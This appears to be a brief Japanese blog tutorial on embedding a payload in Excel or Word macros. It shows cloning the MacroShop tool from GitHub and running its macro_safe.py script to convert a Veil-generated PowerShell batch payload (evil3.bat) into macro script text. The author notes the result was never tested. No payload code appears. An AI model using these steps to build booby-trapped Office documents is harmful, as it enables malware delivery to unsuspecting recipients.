Excel Word ファイルにペイロードをバインド

Excel Word ファイルにペイロードをバインド

マクロ機能にペイロード実行コードを紛れ込ませることが可能

MS Office のマクロ機能でペイロード実行を支援するツール
MacroShop をインストールする

1
2
git clone https://github.com/khr0x40sh/MacroShop.git
cd MacroShop/

で Github から git で入手

使い方は

1
./macro_safe.py ../Desktop/evil3.bat /root/Desktop/script.txt

というように

1
./macro_safe.py <input batch> <output text>

というように使う

input batch は
Veil で作成した PowerShell 系ペイロード

output text は
マクロスクリプト

今回は evil3.bat のペイロードから
script.txt というマクロスクリプトを生成

内容を見たいのなら

1
gedit /root/Desktop/script.txt

で確認可能

なお、実験は試用版 Windows10 では
Excel がみあたらず
Excel Online ではマクロ作成などができなかったため
動作確認は保留